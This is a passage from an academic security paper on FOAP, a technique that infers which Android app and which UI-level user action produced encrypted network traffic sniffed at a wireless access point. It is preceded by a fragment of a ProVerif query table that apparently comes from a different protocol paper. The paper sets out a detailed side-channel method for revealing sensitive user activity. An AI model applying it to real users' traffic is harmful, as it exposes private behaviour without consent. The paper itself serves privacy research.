the legitimate user.

Table 11: ProVerif queries and corresponding security goals and implications for the Rectified Combined Protocol
# ProVerif Query Security Goal Security Goal Achieved Security implication when

not achieved

1
query f:bitstring;
inj-event(serveraccepts(f))
==>( inj-event(userSeesPrompt(f)) ).

The legitimate user sees the action
the server performs (SG3) No

Attacker can authorize an action
the legitimate user is unaware of.

2

query f:bitstring;
inj-event(serveraccepts(f))
==>( inj-event(userAuthenticated(f))
&& inj-event(userConfirmsPrompt(f)) ).

The legitimate user physically
authorizes the action
the server performs (SG4)

No
Attacker can authorize an action
the legitimate user did not approve.

3
query a:bioconfsskey,b:bioconfspkey;
inj-event(serverconfirms(b))
==>(inj-event(bioconfsigned(a)) ).

Server has a guarantee that
the action has been authorized
by the legitimate user (SG5)

No
The server performs an action
that was not authorized by
the legitimate user.
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Abstract

Despite the widespread adoption of encrypted communica-
tion for mobile apps, adversaries can still identify apps or
infer selected user activities of interest from encrypted mobile
traffic via app fingerprinting (AF) attacks. However, most
existing AF techniques only work under the closed-world as-
sumption, thereby suffering potential precision decline when
faced with apps unseen during model training. Moreover, se-
rious privacy leakage often occurs when users conduct some
sensitive operations, which are closely associated with spe-
cific UI components. Unfortunately, existing AF techniques
are too coarse-grained to acquire such fine-grained sensitive
information. In this paper, we take the first step to identify
method-level fine-grained user action of Android apps in the
open-world setting and present a systematic solution, dubbed
FOAP, to address the above limitations. First, to effectively
reduce false positive risks in the open-world setting, we pro-
pose a novel metric, named structural similarity, to adaptively
filter out traffic segments irrelevant to the app of interest. Sec-
ond, FOAP achieves fine-grained user action identification via
synthesizing traffic and binary analysis. Specifically, FOAP
identifies user actions on specific UI components through
inferring entry point methods correlated with them. Extensive
evaluations and case studies demonstrate that FOAP is not
only reasonably accurate but also practical in fine-grained
user activity inference and user privacy analysis.

1 Introduction

Mobile devices in markets have bloomed unprecedentedly
in the last decade [37]. The ubiquitous mobile devices, such
as smartphones and tablets, have become necessities in mod-
ern life. Their prosperity and success are largely attributed to
diverse apps running on them [35, 36]. These apps substan-
tially extend the capability of off-the-shelf mobile devices
and increasingly improve modern life in different aspects.

∗The corresponding author.

While offering convenience, mobile apps also raise privacy
concerns. Massive amounts of private user data are transmit-
ted to and stored in cloud servers. Once these servers are
compromised, catastrophic privacy leakage will happen sub-
sequently [6]. The adversary can also indirectly infer sensitive
private information, such as diseases, religious preferences,
and individual location, through side-channel attacks [26, 34].

Despite the widespread adoption of encrypted communi-
cation, mobile apps are still susceptible to app fingerprinting
(AF) attacks [2, 3, 14, 39–41, 43], which are essentially side-
channel attacks. In such attacks, adversaries recognize apps or
selected user activities of interest using pre-trained machine
learning models without inspecting the packet payload plain-
text, thereby immune to traffic encryption. However, existing
AF techniques face two major limitations.
Closed-World Assumption. The vast majority of existing
AF techniques (e.g., [15, 22, 29]) formulate app identification
as a multi-class classification problem. It implies that they
cannot correctly identify apps that are unseen during model
training, because these apps will be erroneously classified into
known classes. A straightforward solution is training a one-
vs.-rest binary classifier for each app. Nevertheless, such a
plausible solution only works under the closed-world assump-
tion, i.e., apps as the negative class in testing stage should be
presented during model training. If not, false positive cases
may tremendously increase. Unfortunately, involving all rest
apps in the training dataset is impossible as Android and iOS
both host more than 3.4 million third-party apps [35, 36].
Even worse, recent studies [43, 51] pointed out that apps ex-
tensively use third-party libraries, leading to similar network
behaviors, which may increase the risks of false positives.
Identification Granularity. Serious privacy leakage often
occurs when users conduct some sensitive operations on cer-
tain UI components. For instance, in some COVID-19 contact
tracing apps, the click action on the button to report positive
testing can be a strong indicator of COVID-19 infection. How-
ever, information obtained through existing AF techniques is
too coarse-grained to infer the above user privacy because
these techniques focus on either app identification [39, 43, 49]
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or inferring selected user activities of interest [15, 22, 29],
and none of them can identify user actions on specific UI com-
ponents. Additionally, previous works need labor-intensive
efforts to manually label selected user activities, limiting their
scalability in the wild.

In this paper, we present FOAP, a novel Fine-grained Open-
world Android App fingerPrinting technique, to address the
above limitations. First, FOAP carries out open-world app
recognition, obviating the need for the closed-world assump-
tion. The core challenge is the risks of false positives in the
open-world setting. We solve it by exploiting the fact that two
different apps seldom exhibit completely identical network
behaviors. Specifically, we propose a novel metric named
structural similarity to characterize how network flows within
a traffic segment behave similarly to those generated by the
app of interest. By leveraging this metric, FOAP effectively
reduces false positives by adaptively filtering out traffic seg-
ments that are irrelevant to the app of interest.

Second, FOAP aims at method-level fine-grained user ac-
tion identification via synthesizing traffic and binary anal-
ysis. We focus on identifying user actions on specific UI
components, e.g., clicking a certain button. To this end, we
characterize user actions using the corresponding entry point
(EP) methods, including callbacks of UI components and life-
cycle methods of Android components, and transform user
action identification to EP method identification. In the train-
ing stage, the major challenge is how to automatically label
network flows with EP methods in the face of various ways
to trigger network flows. We solve it through extensive app
analysis and implement the automatic labeling based on An-
droid framework instrumentation. Automatic labeling brings
two salient advantages: i) it endows FOAP with the capabil-
ity of exploring all possible user actions that may generate
network flows, and thus FOAP can identify not only selected
user activities but also other user actions that trigger network
traffic; ii) it obviates the need of manual labeling, facilitating
the scalability of FOAP. In the identification stage, the major
challenge is the multi-label flow. A network flow is often
correlated with multiple EP methods, leading to a multi-label
classification problem. We relax this problem to a series of
multi-class classification sub-problems by extracting in-flow
bursts. To identify EP methods associated with a network
flow, we model the spatial-temporal contextual dependency
of in-flow bursts within it and infer the EP method associated
with each of them based on the conditional random field.

In summary, this paper makes the following contributions:

• To the best of our knowledge, FOAP is the first approach
for conducting method-level fine-grained app user action
recognition in the open-world setting. We release its
source code and the datasets at https://github.com/
jflixjtu/FOAP.
• We address several challenging issues in the design of

FOAP. First, we design structural similarity, a novel metric

Internet

Wireless Access Point

The Adversary

Smartphone

Laptop

IoT Device

Encrypted 

Network Traffic

Figure 1: The threat model.

for effectively reducing the false positive risks in open-
world app traffic recognition. Second, we propose a new ap-
proach to automatically label network flows with EP meth-
ods and build a spatial-temporal context model to accurately
identify EP methods from network flows.
• We implement a prototype of FOAP and conduct extensive

experiments to evaluate it. The results show that FOAP
outperforms baseline approaches in open-world app recog-
nition, improving the F1-score from 0.679 to 0.911. It is
also reasonably accurate in EP method identification with
an average F1-score of 0.885. We present three case stud-
ies to demonstrate FOAP’s practicality in fine-grained user
activity inference and user privacy analysis.

2 Overview

2.1 Threat Model

As shown in Figure 1, the adversary considered in this paper
sniffs network traffic on a wireless access point. His goal is
to recognize network flows generated by the app of interest
and identify what EP methods of this app trigger them to
infer fine-grained user actions. We define a network flow as
a sequence of packets corresponding to a socket-to-socket
communication identified by a unique combination of source
and destination addresses and port numbers, together with
transport protocols. In this paper, we focus on TCP flows,
because i) TCP packets are dominating in Android app traffic
(98.6% in our dataset), and ii) we mainly consider encrypted
network traffic based on TCP protocol (e.g., HTTPS, etc.).

We assume that the adversary can trace back all network
flows to different devices according to source addresses. We
also assume the adversary cannot exploit i) packet plaintext
payload and ii) destination feature of network flows. Our
assumptions match the real-world scenario of AF attacks.
First, since app network flows are commonly encrypted [43],
the adversary cannot access the plaintext payload in most
cases. Second, due to the wide use of encrypted proxy agents
(e.g., ShadowSocks), the real destinations of network flows
are often invisible. Even if the adversaries can obtain the real
destinations, such features are not reliable since they may
change across networks due to the widespread adoption of
CDN. Moreover, the share of third-party libraries among apps
leads to the share of destinations across apps.
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Figure 2: The workflow of FOAP. Training stage (resp. identification stage) is colored in red (resp. blue).

2.2 Workflow of FOAP

Without loss of generality, we assume A is one of the apps of
interest. FOAP identifies method-level user actions of A from
encrypted network traffic in the open-world setting. Figure 2
illustrates the workflow of FOAP.
Training Stage:
• Network Flow Labeling (§ 3) plays a core role in construct-
ing training datasets. By either automatically or manually
running A, we collect A’s traffic instances, each of which
contains a log file (in Android, we call it logcat) and a traffic
file in pcap format. We first label whether a network flow is
from A, i.e, app-level labeling. If yes, we next label when and
what EP methods of A trigger this network flow, i.e., method-
level labeling. We extract a feature vector for every network
flow after app-level labeling to construct the training dataset
for i) Traffic Segmentation, ii) Traffic Filtering, and iii) Flow
Recognition. Since a network flow usually contains multiple
in-flow bursts triggered by different EP methods, we divide
a network flow into a series of in-flow bursts and extract a
feature vector for each one to construct the training dataset
for Method-Level User Action Identification.
Identification Stage:
• Traffic Segmentation (§ 5.1) divides network traffic into
different time periods, such that there are some time periods
during which A is active (if they exist). To this end, we extract
a feature vector for each network flow and compute its local
similarity with A to characterize how likely it is generated by
A, from the perspective of a single flow. Based on the local
similarity, we segment network traffic to locate all possible
time periods when A is probably active. In Figure 2, we rep-
resent each network flow with a bar. The time-axis location
(resp. height) of a bar represents the start time (resp. local sim-
ilarity) of the corresponding flow. Network traffic is divided
into a series of traffic segments, i.e., s1, s2, and s3.
• Traffic Filtering (§ 5.2) is designed for mitigating false pos-
itives in the open-world setting. By leveraging flow pattern
mining, we quantify how likely a network flow matches a cer-
tain pattern of A’s network flows in the feature representation

space and then use this pattern-related information to profile
structural characteristics of a traffic segment. For each traffic
segment, we compute its structural similarity with A by syn-
thesizing pattern-related information from all network flows
within it. Structural similarity is informative to reflect how
likely A is active during the time period corresponding to a
traffic segment. We take advantage of such a metric to identify
traffic segments relevant to A (labeled by A) and filter out
other irrelevant traffic segments (labeled by non-A) without
further analysis. In Figure 2, s1 has a high structural simi-
larity with A because network flows within it match various
patterns of A, whereas s2 has a very low structural similarity
with A because network flows within it match no pattern of A.
Even though some network flows within s3 have high local
similarities with A, s3 has a relatively low structural similarity
with A because these network flows only match one pattern
of A (colored in green), implying s3 is structurally different
from network traffic generated by A. Finally, s1 is identified
as a relevant traffic segment of A, whereas s2 and s3 are iden-
tified as irrelevant traffic segments of A. An irrelevant traffic
segment of A may contain network traffic generated by more
than one apps except A, while relevant traffic segments of
different apps may overlap.
• Flow Recognition (§ 5.3) constructs a bilevel recognition
model to identify whether a network flow in the relevant
traffic segment is generated by A. This model considers not
only the feature vector of a network flow but also contextual
information from surrounding network flows in favor of better
recognition accuracy.
• Method-Level User Action Identification (§ 6) infers
which entry point (EP) methods trigger a network flow of
A to characterize fine-grained user actions. Network flows
corresponding to persistent connections often contain multi-
ple packet bursts, i.e., in-flow bursts, each of which may be
triggered by different EP methods. Network flows correspond-
ing to short connections often contain only one in-flow burst
that is triggered by an EP method. To identify EP methods, we
first extract in-flow bursts and their feature vectors. Next, we
construct a spatial-temporal context model to characterize the
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correlation between in-flow bursts. Based on this model, we
identify EP methods to infer fine-grained user actions, such
as clicking on a button.

3 Network Flow Labeling

To construct the training dataset for open-world app traffic
recognition and method-level user action identification, we
capture network flows generated by the tested apps and la-
bel each network flow with the app and EP methods (i.e.,
the component lifecycle or the UI callback) that generate it.
To this end, we instrument Android framework to i) extract
socket information to correlate network flows, ii) retrieve pro-
cess identifier (PID) to obtain the package name and collect
stack trace to determine the EP method. The collected data is
written to logcat.

3.1 Resolving Network Socket
Since Android apps commonly use network sockets to gener-
ate network flows, we resolve each network socket operation
performed by the tested apps to correlate the captured net-
work flows. According to the observation that framework
APIs for performing socket operations (e.g., connect defined
in Socket) rely on socket related native system functions (e.g.,
connect exported by libc.so) to complete tasks, we instru-
ment socket related system functions to get a unique 4-tuple
for each TCP socket. Moreover, since identifiers (i.e., PID
and TID) of the process and thread, executing the socket re-
lated system functions, are essential for obtaining the package
name and correlating the EP method, we make the instru-
mented socket related functions invoke getpid and gettid
to retrieve the PID and TID values.

It is worth noting that, the state-of-the-art work [20] cannot
correlate the socket operations implemented in apps’ native
code to their corresponding EP methods because it just an-
alyzes socket related framework APIs. Since our approach
analyzes the socket related system functions, which are in-
ternally called by socket related framework APIs, we can
associate socket operations implemented in both Java code
and native code with their EP methods.

3.2 Analyzing Network Socket Operation
In order to correlate each network flow to an app as well
as EP methods of this app, we further analyze each network
operation performed by the tested apps.
Correlating Network Flow to App: Relying on PIDs re-
trieved when the socket related system functions are invoked,
we get the unique identifier of the app, performing the socket
operations, by accessing the /proc/PID/cmdline file, which
keeps app’s package name.
Correlating Network Flow to EP Method: Since socket
operations must be carried out in non-UI threads of apps [1],

apps can create a new thread by internally calling the clone
function in libc.so to perform network operations (case-1).
Therefore, we instrument clone to get the stack trace and TID
of each created thread, so that we can correlate the thread with
EP method, which is presented in the stack trace and leads to
the creation of the thread. If the TID equals the one retrieved
when socket related functions are invoked, we correlate the
EP method with generated network flows.

Instead of creating a new thread, apps can reuse a thread
to perform different network operations. For example, apps
can send messages to notify the handler running in a non-UI
thread (case-2) or submit tasks to an idle thread managed by
the thread pool (case-3) to conduct socket operations. It is non-
trivial to handle these cases because we need to determine the
EP method for each network operation conducted in the reused
thread. In the following, we detail how we label network flows
in these cases.

For case-2, we use the Message objects, which notify the
message handler to perform socket operations, to distinguish
every network operation conducted by the handler. Specifi-
cally, we instrument enqueueMessage defined in the Handler
class to get the stack trace and the message (i.e., the Message
object) sent to the handler so that we can correlate the mes-
sage with the EP method that results in the sending of the mes-
sage. Meanwhile, to correlate each message with the thread
that runs the handler, we instrument dispatchMessage of
the Handler class to get the received message and thread’s
TID. If the TID equals the one retrieved when socket related
functions are invoked, we correlate the received message with
generated network flows. Since the received and sent mes-
sages refer to the same Message object, we then correlate the
EP method to the network flows.

For case-3, we use the Runnable objects, which are exe-
cuted in the thread managed by the thread pool, to differentiate
every network operation performed by the same thread in the
thread pool. Specifically, we instrument execute defined in
the ThreadPoolExecutor class to get the stack trace and the
task (i.e., the Runnable object) submitted to the thread pool,
so that we can correlate the task with the EP method that
causes the submission of the task. Meanwhile, to correlate
each task with the thread that runs the task, we instrument
runworker of the ThreadPoolExecutor class to get the ex-
ecuted task and the thread’s TID. If the TID equals the one
retrieved when socket related functions are invoked, we cor-
relate the executed task with the network flows. Since the
submitted and the executed tasks refer to the same Runnable
object, we then correlate the EP method to the network flows.

Note that, for those UI callbacks which are identified as EP
methods, we associate them with their corresponding resource
IDs. For example, we correlate each onClick callback with
the resource ID of the relevant UI component that registered
the click event listener.
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4 Traffic Feature Extraction

Although some studies [5, 32, 33] take advantage of deep
learning models to automatically extract traffic features, deep
learning models require large amounts of training data to
avoid model overfitting. In our problem, the number of net-
work flows/in-flow bursts triggered by different EP methods
is unbalanced. Some apps/EP methods only have few samples.
Therefore, deep-learning-based feature extraction is not suit-
able for our problem. Either a network flow or an in-flow burst
is essentially a packet sequence. We extract 123-dimensional
features for both of them from five perspectives.
• General characteristic (8 features). We extract inbound-
/outbound packet number, bidirectional packet number, in-
bound/outbound packet percentage, inbound/outbound bytes,
and the duration of packet sequence.
• Interactive pattern (20 features). We characterize the in-
teractive pattern between endpoints using a function f (x) =
(i− x)∑

i−1
j=1 d j +(x− i+ 1)∑

i
j=1 d j for i− 1 < x ≤ i, where

d j = 1 (resp. d j =−1) if the jth packet is an inbound (resp.
outbound) packet. Assume the packet sequence contains n
packets. The interval (0,n) is divided into 20 bins with the
size of n/20. We pick f (x) at the center of each bin as a
feature and totally get 20 features to approximate f (x) (or,
equivalently, the interactive pattern).
• Packet rate characteristic (5 features). The duration of a
packet sequence is divided into a series of time windows with
the size of 1 second. Mean, maximum, minimum, median,
and standard deviation of packet number in a time window
(i.e., packet rate), are computed as features.
• Temporal characteristic (39 features). We consider bidi-
rectional, inbound, and outbound packet arrivals respectively.
For each one, mean, maximum, minimum, and standard devi-
ation of packet interval time, and 9 percentiles (from 10% to
90%) of relative arrival time, i.e., the time lag relative to the
first packet, are extracted as features.
• Packet size characteristic (51 features). We extract various
packet size statistics for inbound, outbound, and bidirectional
packets respectively, including mean, maximum, minimum,
median absolute deviation, standard deviation, variance, skew,
kurtosis, and 9 percentiles (from 10% to 90%).

5 Open-World App Traffic Recognition

Open-world app traffic recognition aims to recognize app-
specific traffic. More specifically, given a network flow, FOAP
should identify whether it is from the app of interest, say A.
Open world vs. closed world. We define open-world set-
ting along with closed-world setting in this paper. Let ST =
{appi

T}
mT
i=1 (resp. SI = {appi

I}
mI
i=1) be the set comprised of all

apps in the training stage (resp. the identification stage). In
the closed-world setting, we have SI ⊆ ST . In the open-world
setting, SI might not be a subset of ST but it could be.

In the open-world setting, a key challenge is how to effec-
tively reduce false positives in face of apps that are unseen
during model training. FOAP tackles it in two steps, i.e., traffic
segmentation and traffic filtering. After that, FOAP constructs
a bilevel recognition model to identify whether a network
flow is generated by A by taking advantage of not only its
feature vector but also its contextual information.

5.1 Traffic Segmentation
The goal of traffic segmentation is dividing network traffic
into different time periods, such that there are some time pe-
riods during which A is active (if they exist). To this end,
we first propose a metric, named by local similarity, to quan-
tify how likely a network flow is generated by A from the
perspective of a single flow.

Definition 1. Local similarity is a metric to quantify how a
network flow f is similar to network flows from A in terms
of the intrinsic features from f itself. We compute f ’s local
similarity with A by Sl( f ,A) = Pr{ f ∈ A|F( f )}, where F(·)
is a function that returns the feature vector of f .

We denote by f=( f1, f2, . . . , fM) the sniffed network traffic
consisting of M network flows, where the ith flow is denoted
by fi and its start time is ti. Let qi be fi’s local similarity with
A, i.e., Sl( fi,A). To compute qi, we first extract fi’s feature
vector (see § 4) and feed it to a pre-trained random forest (RF)
classifier. qi is estimated as the percentage of decision trees
that predict fi is from A. Next, we segment network traffic
based on q1,q2, . . . ,qM . Based on the measurement over our
dataset, network flows generated by an app, say A, have sig-
nificantly higher local similarity with this app, compared with
network flows generated by other apps, thereby resulting in
obvious difference of local similarity between time periods
dominated by A and time periods dominated by other apps.
Such a difference is about 4.51 times the local similarity vari-
ance for different network flows from an app. Inspired by this
observation, we expect network flows within the same traffic
segment have similar local similarity with A (i.e., the small
variance within a segment), whereas network flows belonging
to adjacent traffic segments have significantly different local
similarities with A (i.e., large variance between adjacent seg-
ments). By doing so, we are able to extract all possible traffic
segments when A is active. Formally, we formulate traffic
segmentation as a combinational optimization problem.

min
z

max(z)

∑
c=0
|Qc| ·Var(Qc)+λmax(z),

s.t. zi ∈ N, z1 = 0, 0≤ zi+1− zi ≤ 1 for 1≤ i < M,

Qc = {qi|zi = c}, |Qc| ≥ nmin,

max{ti|zi = c}−min{ti|zi = c} ≥ τmin,

(1)

where zi is a variable indicating which segment the ith net-
work flow belongs to, λmax(z) is a regularization term that
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penalizes the complexity of results, nmin is the minimum num-
ber of network flows that a segment should contain, and τmin
is the minimum time span of a segment. The above optimiza-
tion problem can be solved based on integer programming [8].
To speed up the traffic segmentation, we propose a divisive-
agglomerative tree method to solve it in a greedy fashion.
Divisive tree recursively generates small segment candidates
while agglomerative tree merges some of them to minimize
the loss in (1). We elaborate this method in [21].

5.2 Traffic Filtering
If A is active during the time period of a traffic segment,
we refer to it as a relevant traffic segment and otherwise an
irrelevant traffic segment. Traffic filtering aims to filter out all
irrelevant traffic segments.

5.2.1 Flow Pattern Mining

In this step, we quantify how likely a network flow matches
a certain pattern of network flows generated by A in the fea-
ture representation space. This pattern-related information
will be used for profiling structural characteristics of a traffic
segment. To this end, we need to identify different patterns
by clustering A’s network flows over the training dataset. Un-
fortunately, the original feature space is irregular because
i) both continuous and discrete features are considered and
ii) the range and variance of different features are tremen-
dously diverse. It is difficult to find a proper distance metric
for reasonable clustering analysis in the original feature space.
To tackle this problem, we learn a mapping function based
on metric learning [45] to map original feature vectors to a
low-dimensional representation space, where we expect the
euclidean distance between network flows in the same pattern,
i.e., the same cluster, will be minimized whereas that between
network flows in different patterns, i.e., different clusters, will
be maximized. We refer the interested readers to [21] for the
learning of mapping function.
Clustering Analysis. We map A’s network flows in the train-
ing dataset to the representation space and conduct clustering
analysis to identify flow patterns as different clusters. Hierar-
chical clustering is employed for this task as it obviates the
need to specify the cluster number, which is unknown a prior.
We specify the clustering threshold as δ and obtain m clusters
P1,P2, . . . ,Pm. We refer to these clusters as patterns of A’s
network flows. Next, we train a multi-class k-nearest neigh-
bors classifier in the representation space to identify which
pattern a new network flow belongs to. Let Pi be the identified
pattern that fi belongs to. We reuse fi’s local similarity qi to
quantify the likelihood of fi matching pattern Pi.

5.2.2 Filtering Out Irrelevant Traffic Segment

To filter out irrelevant traffic segments, we compute traffic
segments’ structural similarity with A.

Definition 2. Structural similarity characterizes how network
flows within a traffic segment sk are similar to A’s network
flows in various patterns. It is computed by

Ss(sk,A) =
∫ 1

qmin
|H (sk,q)|dq

|H (sk,0)|(1−qmin)
, (2)

where H (sk,q)= {Pi|qi > q, fi ∈ sk} is a function that returns
a set containing all patterns that network flows within sk
belong to with the likelihood greater than q.

We consider network flows match certain patterns only if
their likelihood are greater than qmin. In this paper, we set
qmin = 0.5 by default. The value of Ss(sk,A) ranges from 0
to 1. A smaller value of Ss(sk,A) indicates sk is more likely
an irrelevant traffic segment. Formally, sk will be deemed to
be an irrelevant traffic segment and filtered out if Ss(sk,A)<
SAmin. In here, SAmin ∈ [Smin,Smax] is an app-specific similarity
threshold bounded by Smin and Smax. We specify it to be the
value such that 95% network flows from A over the training
dataset will not be erroneously filtered out. Despite a potential
slight decline of recall for traffic recognition, such a similarity
threshold can effectively reduce false positives by filtering
out irrelevant traffic segments as many as possible.

5.3 Flow Recognition
Through traffic filtering, we obtain relevant traffic segments.
However, not all network flows within them must be from A
because they may contain network flows from background
system services and other apps. To recognize whether a net-
work flow is from A, we construct a bilevel recognition model.
The low-level model is comprised of two binary random forest
classifiers. The first classifier is used for computing the local
similarity and has been trained before. The second classifier
predicts the probability that a network flow is a background
flow, (i.e., network flows generated by background system
services). For a network flow fi, the first classifier outputs
its local similarity with A, denoted by qi, while the second
classifier outputs the probability that it is a background flow,
denoted by ri. Both qi and ri play important roles in the high-
level model. The high-level model is a logistic regression
classifier. We choose this model because of its excellent gen-
eralization capability due to a small number of parameters.
For a network flow fi, the high-level model takes advantage
of features not only from itself but also from its contextual
network flows. Specifically, we consider network flows within
Ni, a time window centered at the start time of fi with the
size of T , as fi’s contextual network flows. We construct fi’s
feature vector for high-level model as hi = (qi, q̄Ni

,qi− ri),
where q̄Ni

= ∑ j∈Ni
q j/|Ni|. For any network flow in relevant

traffic segments, we recognize whether it is from A according
to the output of the high-level model. To avoid mutual inter-
ference, we decouple the training of low-level and high-level
models by leveraging bootstrap resampling method [12, 44].
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6 Method-Level User Action Identification
After recognizing network flows from A, we further infer what
EP methods trigger them. Such information plays a critical
role in characterizing fine-grained user actions.

Different from the binary classification in recognizing app-
specific network flows, EP method identification can be for-
mulated as a multi-label classification because a network flow
may correspond to multiple EP methods. Network flows in
app traffic can be roughly grouped into two categories. The
first category corresponds to persistent connection. Network
flows in this category often contain multiple packet bursts
associated with sequentially invoked EP methods. The second
category corresponds to short connection. Network flows in
this category often contain only one packet burst associated
with a single EP method. Instead of regarding a network flow
as a whole to extract its feature vector and identify what EP
methods trigger it, we identify EP methods associated with
all packet bursts within it. By doing so, our method has three-
fold advantages. First, we relax the multi-label classification
to a series of multi-class classification subproblems. Second,
we can make use of contextual dependency between bursts
to improve identification accuracy. Third, we obtain a higher
temporal resolution in characterizing user actions.

6.1 Flow Burstification
The first step is extracting in-flow bursts from network flows.

Definition 3. Given a burst threshold ε, an in-flow burst is a
subsequence of packets within a network flow. Time interval
between two packets in an in-flow burst is less than ε, while
that between two in-flow bursts is not less than ε.

Figure 3(a) illustrates an example, where we extract four
in-flow bursts from a network flow. For each in-flow burst,
we extract a 123-dimensional feature vector (see § 4).
• Burst Labeling. To construct the training dataset for EP
method identification, we need to label in-flow bursts. Assume
that the network flow labeling module has obtained three EP
methods, i.e., ma, mb, and mc, and their invocation time t1,
t2, and t3 as shown in Figure 3(a). Before labeling in-flow
burst, we first label each packet to indicate which method
triggers it. Specifically, a packet is labeled by the first EP
method invoked before it. We then label an in-flow burst by
aggregating the label of packets belonging to this burst (ma-
jority voting). Finally, we obtain four in-flow bursts (ma,b1),
(ma,b2), (mb,b3), and (mc,b4).

6.2 Spatial-Temporal Context Model
We model contextual dependency of in-flow bursts based on
conditional random field [38] due to its flexibility to capture
both spatial and temporal context.
• Spatial Context: It reflects the contextual relationship be-
tween bursts within the same network flow. In Figure 3(b),

Time

(a) Label within-flow bursts.

Flow 1

Flow 2

Flow 1

Flow 3

Spatial Context

Temporal Context

(b) Spatial-temporal context.

Figure 3: Flow burstification and spatial-temporal context.

bursts b1, b2, b3, and b4 are within the same network flow and
they are mutually spatially contextual bursts.
• Temporal Context: An EP method may trigger multiple
network flows simultaneously, yielding concurrent in-flow
bursts. To capture the temporal context, we specify an interval
threshold τburst . Two in-flow bursts are temporally contextual
if they belong to different network flows but the time interval
between them is less than τburst . In Figure 3(b), bursts b3, b5,
and b6 are mutually temporally contextual bursts.

Formally, let MA = {mk}K
k=1 be a set comprised of EP

methods of A that may trigger network flows. We denote by
b = (b1,b2, . . . ,bN) a sequence of in-flow bursts extracted
from A’s network flows and y = (y1,y2, . . . ,yN) ∈M N

A the
underlying EP method invocations that trigger these in-flow
bursts. The posterior distribution of y can be expressed by

p(y|b) = 1
Z(b)

N

∏
i=1

Ωi(yi,bi) ∏
j∈C S

i

Ψi j(yi,y j,b) ∏
j∈C T

i

Φi j(yi,y j,b)

 , (3)

where Ωi(yi,bi) is a unary potential characterizing the rela-
tionship between yi and bi, Ψi j(yi,y j,b) (resp. Φi j(yi,y j,b))
is a spatially (resp. temporally) pairwise potential charac-
terizing the relationship between bi and its spatially (resp.
temporally) contextual burst b j, C S

i (resp. C T
i ) is a set com-

prised of all spatially (resp. temporally) contextual bursts of
bi, and Z(b) is a normalizing constant. We refer the interested
readers to [21] for the construction and parameter learning of
Ωi(yi,bi), Ψi j(yi,y j,b), and Φi j(yi,y j,b).

6.3 Iterative Inference of EP Method
Given the CRF-based spatial-temporal context model, the
problem of EP method identification is transformed into in-
ferring the hidden variables (i.e., EP method invocations)
from the observable variables (i.e., in-flow bursts). For gen-
eral graphs, like our spatial-temporal context model, the exact
inference of CRFs is intractable because it requires expo-
nential time in the worst case [38]. Therefore, we propose a
greedy EP method inference algorithm to conduct approxi-
mate inference. Instead of estimating the posterior marginal
distribution, this algorithm derives the most likely EP method
sequence, i.e., ŷ = argmaxy p(y|b) in an iterative fashion. Let
y(k) = (y(k)1 ,y(k)2 , . . . ,y(k)N ) be the estimation of y in the kth
round. We derive y(k)i as the EP method that maximizes the
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probability p(yi|b,y(k−1)/y(k−1)
i ). We record y(k) in the set

Y and p(k) = Z(b)p(y(k)|b) will also be stored. The iteration
process repeats until it exceeds the maximum iteration num-
ber or it meets the early stopping condition, i.e., y(k) ∈ Y . The
resulting inference is derived as ŷ = argmaxy(k)∈Y p(k). We
refer the interested readers to [21] for details about this algo-
rithm. Given EP methods associated with all in-flow bursts,
we infer what EP methods trigger a network flow by aggre-
gating EP methods associated with in-flow bursts within it.

7 Evaluation

We first evaluate FOAP in open-world app traffic recognition
and then evaluate it in EP method identification. We next
analyze various factors that may influence the performance of
FOAP, such as experimental data size and third-party libraries.
To investigate how FOAP trained over the dataset generated
by automatic test tools performs for network traffic generated
by human users, we conduct cross-dataset evaluation. Finally,
we analyze the running time of FOAP.

7.1 Dataset Construction
Because our work constitutes the first effort towards method-
level open-world app fingerprinting, there is no available pub-
lic dataset where method-level labels of network flows are
available. Therefore, we download 1000 apps from Google
Play Store and collect app traffic in our testbed. When se-
lecting apps, we give consideration to both popularity and
comprehensiveness. First, we select the most popular apps
according to the rank in Google Play Store in favor of better
popularity. Second, the selected apps fall into 46 different cat-
egories to guarantee a reasonable comprehensiveness. Note
that when selecting apps, we skip various mobile browsers
and apps that need to sign up with a credit card to avoid po-
tential legal risk. We generate app traffic instances with the
aid of open-source tools Monkey1 and RERAN [16]. Mon-
key is an automated test tool, while RERAN is a record and
replay tool for Android. For every app, we collect 50 traffic
instances. To generate each traffic instance, we run apps on
Google Pixel 2 smartphones with Monkey to generate pseudo-
random streams of user events and simulate user operations.
The maximum number of user events is set to be 5000. Mean-
while, network traffic of smartphones is captured by Tcpdump
and stored in pcap format for network flow extraction; log-
cat files are saved for network flow labeling. In a nutshell,
we collect 50,000 traffic instances, consisting of 2,701,931
network flows. The total file size is more than 1.29 TB.

7.2 Open-World App Traffic Recognition

We first evaluate FOAP in recognizing network flows.

1https://developer.android.com/studio/test/monkey

• Experimental Setup. Since FOAP establishes a model for
every individual app of interest, we construct a training dataset
and testing dataset for each app. Specifically, we randomly
split traffic instance set into two subsets: 40 instances for
training and 10 instances for testing. To construct the training
dataset of an app, say A, besides A’s traffic instances, we ran-
domly choose nT other apps to involve their traffic instances
as negative samples in the training dataset. As for A’s testing
dataset, similar to the experimental setting in [43], we consider
another 20 apps, which are unseen in A’s training dataset. In
other words, apps considered as negative class in testing stage
are completely different from those for model training. To
mimic human behavior, we simulate the use of different apps
as Poisson process, which is commonly used to model human
behaviors [31, 50]. Specifically, we construct network traces
by merging traffic instances from different apps in random
order. The time interval between traffic instances is expo-
nentially distributed with an average time interval 1 second.
Additionally, we also change the value of nT to evaluate how
it influences the accuracy of app recognition. We elaborate on
the process of hyperparameter tuning in § A.
• Baseline. We compare FOAP with the state-of-the-art tool
AppScanner [39]. Other works, such as [9, 10, 43], have dif-
ferent threat models. For example, [9, 10] only handle unen-
crypted data and [43] consider destination features, which are
unavailable in our threat model. Another line of works, such
as [15, 22, 29] focus on different objects for analysis. For
example, [29] analyzes packets in a series of time windows
to identify user activities and [22] divides packet arrivals into
segments and analyzes user activities within each segment.
Therefore, we skip a direct comparison with them in our ex-
periment. The feature set of the vanilla AppScanner is just a
subset of FOAP’s feature set, i.e., 51 features related to packet
size characteristic and 3 features related to general character-
istic. To conduct a fair comparison, we also extend AppScan-
ner by using the full feature set of FOAP. AppScanner is a
modular tool, comprised of different classifiers. Among these
classifiers we choose Single Random Forest Classifier Per
App to evaluate because i) it achieves the best accuracy and ii)
it can be evaluated in the open-world setting. All parameters
are consistent with those in the original paper [39].
• Result. Table 1 reports the experimental result. Gener-
ally speaking, FOAP consistently outperforms AppScanner
in terms of precision, recall, and F1-score for different nT .
For example, FOAP improves average precision with ∼ 0.3,
average recall with∼ 0.14, and average F1-score with∼ 0.23,
